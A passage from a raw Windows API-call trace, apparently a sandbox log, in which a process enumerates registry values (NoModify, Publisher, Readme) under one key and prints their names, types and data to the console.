lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.679] GetConsoleOutputCP () returned 0x1b5 [0147.679] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoModify", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoModify", lpUsedDefaultChar=0x0) returned 8 [0147.679] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.679] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.679] __iob_func () returned 0x7fefd702a80 [0147.679] _fileno (_File=0x7fefd702ab0) returned 1 [0147.679] _errno () returned 0xc4bb0 [0147.680] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.680] _errno () returned 0xc4bb0 [0147.680] GetFileType (hFile=0x50) returned 0x1 [0147.680] lstrlenW (lpString=" ") returned 4 [0147.680] GetConsoleOutputCP () returned 0x1b5 [0147.680] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.680] GetConsoleOutputCP () returned 0x1b5 [0147.680] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.680] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.680] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.680] __iob_func () returned 0x7fefd702a80 [0147.680] _fileno (_File=0x7fefd702ab0) returned 1 [0147.680] _errno () returned 0xc4bb0 [0147.680] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.680] _errno () returned 0xc4bb0 [0147.680] GetFileType (hFile=0x50) returned 0x1 [0147.680] lstrlenW (lpString="REG_DWORD") returned 9 [0147.680] GetConsoleOutputCP () returned 0x1b5 [0147.681] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.681] GetConsoleOutputCP () returned 0x1b5 [0147.681] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.681] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.681] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.681] __iob_func () returned 0x7fefd702a80 [0147.681] _fileno (_File=0x7fefd702ab0) returned 1 [0147.681] _errno () returned 0xc4bb0 [0147.681] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.681] _errno () returned 0xc4bb0 [0147.681] GetFileType (hFile=0x50) returned 0x1 [0147.681] lstrlenW (lpString=" ") returned 4 [0147.681] GetConsoleOutputCP () returned 0x1b5 [0147.681] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.681] GetConsoleOutputCP () returned 0x1b5 [0147.681] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.681] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.681] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.681] __iob_func () returned 0x7fefd702a80 [0147.682] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.682] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.682] _fileno (_File=0x7fefd702ab0) returned 1 [0147.682] _errno () returned 0xc4bb0 [0147.682] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.682] _errno () returned 0xc4bb0 [0147.682] GetFileType (hFile=0x50) returned 0x1 [0147.682] lstrlenW (lpString="0x1") returned 3 [0147.682] GetConsoleOutputCP () returned 0x1b5 [0147.682] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.682] GetConsoleOutputCP () returned 0x1b5 [0147.682] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.682] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.682] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.682] __iob_func () returned 0x7fefd702a80 [0147.682] _fileno (_File=0x7fefd702ab0) returned 1 [0147.682] _errno () returned 0xc4bb0 [0147.682] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.682] _errno () returned 0xc4bb0 [0147.682] GetFileType (hFile=0x50) returned 0x1 [0147.682] lstrlenW (lpString="\n") returned 1 [0147.682] GetConsoleOutputCP () returned 0x1b5 [0147.682] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.683] GetConsoleOutputCP () returned 0x1b5 [0147.683] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.683] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.683] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.683] GetProcessHeap () returned 0x2e0000 [0147.683] GetProcessHeap () returned 0x2e0000 [0147.683] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.683] GetProcessHeap () returned 0x2e0000 [0147.683] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.683] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.683] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.683] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0147.683] GetProcessHeap () returned 0x2e0000 [0147.683] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0147.683] GetProcessHeap () returned 0x2e0000 [0147.683] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.683] GetProcessHeap () returned 0x2e0000 [0147.683] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.683] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0147.683] __iob_func () returned 0x7fefd702a80 [0147.683] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.683] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.683] _fileno (_File=0x7fefd702ab0) returned 1 [0147.683] _errno () returned 0xc4bb0 [0147.683] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.683] _errno () returned 0xc4bb0 [0147.683] GetFileType (hFile=0x50) returned 0x1 [0147.683] lstrlenW (lpString=" ") returned 4 [0147.683] GetConsoleOutputCP () returned 0x1b5 [0147.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.684] GetConsoleOutputCP () returned 0x1b5 [0147.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.684] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.684] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.684] lstrlenW (lpString="Publisher") returned 9 [0147.684] __iob_func () returned 0x7fefd702a80 [0147.684] _fileno (_File=0x7fefd702ab0) returned 1 [0147.684] _errno () returned 0xc4bb0 [0147.684] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.684] _errno () returned 0xc4bb0 [0147.684] GetFileType (hFile=0x50) returned 0x1 [0147.684] lstrlenW (lpString="Publisher") returned 9 [0147.684] GetConsoleOutputCP () returned 0x1b5 [0147.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.684] GetConsoleOutputCP () returned 0x1b5 [0147.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0147.685] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.685] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.685] __iob_func () returned 0x7fefd702a80 [0147.685] _fileno (_File=0x7fefd702ab0) returned 1 [0147.685] _errno () returned 0xc4bb0 [0147.685] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.685] _errno () returned 0xc4bb0 [0147.685] GetFileType (hFile=0x50) returned 0x1 [0147.685] lstrlenW (lpString=" ") returned 4 [0147.685] GetConsoleOutputCP () returned 0x1b5 [0147.685] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.685] GetConsoleOutputCP () returned 0x1b5 [0147.685] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.685] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.685] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.685] __iob_func () returned 0x7fefd702a80 [0147.685] _fileno (_File=0x7fefd702ab0) returned 1 [0147.685] _errno () returned 0xc4bb0 [0147.685] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.685] _errno () returned 0xc4bb0 [0147.685] GetFileType (hFile=0x50) returned 0x1 [0147.685] lstrlenW (lpString="REG_SZ") returned 6 [0147.685] GetConsoleOutputCP () returned 0x1b5 [0147.686] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.686] GetConsoleOutputCP () returned 0x1b5 [0147.686] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.686] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.686] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.686] __iob_func () returned 0x7fefd702a80 [0147.686] _fileno (_File=0x7fefd702ab0) returned 1 [0147.686] _errno () returned 0xc4bb0 [0147.686] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.686] _errno () returned 0xc4bb0 [0147.686] GetFileType (hFile=0x50) returned 0x1 [0147.686] lstrlenW (lpString=" ") returned 4 [0147.686] GetConsoleOutputCP () returned 0x1b5 [0147.686] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.686] GetConsoleOutputCP () returned 0x1b5 [0147.686] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.686] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.686] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.686] __iob_func () returned 0x7fefd702a80 [0147.686] _fileno (_File=0x7fefd702ab0) returned 1 [0147.686] _errno () returned 0xc4bb0 [0147.686] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.686] _errno () returned 0xc4bb0 [0147.687] GetFileType (hFile=0x50) returned 0x1 [0147.687] lstrlenW (lpString="Microsoft Corporation") returned 21 [0147.687] GetConsoleOutputCP () returned 0x1b5 [0147.687] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0147.687] GetConsoleOutputCP () returned 0x1b5 [0147.687] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0147.687] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0147.687] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.687] __iob_func () returned 0x7fefd702a80 [0147.687] _fileno (_File=0x7fefd702ab0) returned 1 [0147.687] _errno () returned 0xc4bb0 [0147.687] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.687] _errno () returned 0xc4bb0 [0147.687] GetFileType (hFile=0x50) returned 0x1 [0147.687] lstrlenW (lpString="\n") returned 1 [0147.687] GetConsoleOutputCP () returned 0x1b5 [0147.687] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.687] GetConsoleOutputCP () returned 0x1b5 [0147.687] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.687] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.687] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.688] GetProcessHeap () returned 0x2e0000 [0147.688] GetProcessHeap () returned 0x2e0000 [0147.688] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.688] GetProcessHeap () returned 0x2e0000 [0147.688] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.688] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0147.688] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.688] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.688] GetProcessHeap () returned 0x2e0000 [0147.688] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.688] GetProcessHeap () returned 0x2e0000 [0147.688] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.688] GetProcessHeap () returned 0x2e0000 [0147.688] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.688] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.688] __iob_func () returned 0x7fefd702a80 [0147.688] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.688] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.688] _fileno (_File=0x7fefd702ab0) returned 1 [0147.688] _errno () returned 0xc4bb0 [0147.688] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.688] _errno () returned 0xc4bb0 [0147.688] GetFileType (hFile=0x50) returned 0x1 [0147.688] lstrlenW (lpString=" ") returned 4 [0147.688] GetConsoleOutputCP () returned 0x1b5 [0147.688] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.688] GetConsoleOutputCP () returned 0x1b5 [0147.689] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.689] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.689] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.689] lstrlenW (lpString="Readme") returned 6 [0147.689] __iob_func () returned 0x7fefd702a80 [0147.689] _fileno (_File=0x7fefd702ab0) returned 1 [0147.689] _errno () returned 0xc4bb0 [0147.689] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.689] _errno () returned 0xc4bb0 [0147.689] GetFileType (hFile=0x50) returned 0x1 [0147.689] lstrlenW (lpString="Readme") returned 6 [0147.689] GetConsoleOutputCP () returned 0x1b5 [0147.689] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.689] GetConsoleOutputCP () returned 0x1b5 [0147.689] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0147.689] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.689] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.689] __iob_func () returned 0x7fefd702a80 [0147.689] _fileno (_File=0x7fefd702ab0) returned 1 [0147.689] _errno () returned 0xc4bb0 [0147.689] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.689] _errno () returned 0xc4bb0 [0147.689] GetFileType (hFile=0x50) returned 0x1 [0147.689] lstrlenW (lpString=" ") returned 4 [0147.690] GetConsoleOutputCP () returned 0x1b5 [0147.690] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.690] GetConsoleOutputCP () returned 0x1b5 [0147.690] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.690] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.690] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.690] __iob_func () returned 0x7fefd702a80 [0147.690] _fileno (_File=0x7fefd702ab0) returned 1 [0147.690] _errno () returned 0xc4bb0 [0147.690] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.690] _errno () returned 0xc4bb0 [0147.690] GetFileType (hFile=0x50) returned 0x1 [0147.690] lstrlenW (lpString="REG_SZ") returned 6 [0147.690] GetConsoleOutputCP () returned 0x1b5 [0147.690] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.690] GetConsoleOutputCP () returned 0x1b5 [0147.690] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.690] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.690] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.691] __iob_func () returned 0x7fefd702a80 [0147.691] _fileno (_File=0x7fefd702ab0) returned 1 [0147.691] _errno () returned 0xc4bb0 [0147.691] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.691] _errno () returned 0xc4bb0 [0147.691] GetFileType (hFile=0x50) returned 0x1 [0147.691] lstrlenW (lpString=" ") returned 4 [0147.691] GetConsoleOutputCP () returned 0x1b5 [0147.691] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.691] GetConsoleOutputCP () returned 0x1b5 [0147.691] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.691] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.691] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.691] __iob_func () returned 0x7fefd702a80 [0147.691] _fileno (_File=0x7fefd702ab0) returned 1 [0147.691] _errno () returned 0xc4bb0 [0147.691] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.691] _errno () returned 0xc4bb0 [0147.691] GetFileType (hFile=0x50) returned 0x1 [0147.691] lstrlenW (lpString="") returned 0 [0147.691] __iob_func () returned 0x7fefd702a80 [0147.691] _fileno (_File=0x7fefd702ab0) returned 1 [0147.691] _errno () returned 0xc4bb0 [0147.691] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.691] _errno () returned 0xc4bb0 [0147.691] GetFileType (hFile=0x50) returned 0x1 [0147.691] lstrlenW (lpString="\n") returned 1 [0147.691] GetConsoleOutputCP () returned 0x1b5 [0147.692] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.692] GetConsoleOutputCP () returned 0x1b5 [0147.692] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.692] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.692] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.692] GetProcessHeap () returned 0x2e0000 [0147.692] GetProcessHeap () returned 0x2e0000 [0147.692] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.692] GetProcessHeap () returned 0x2e0000 [0147.692] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.692] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.692] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, 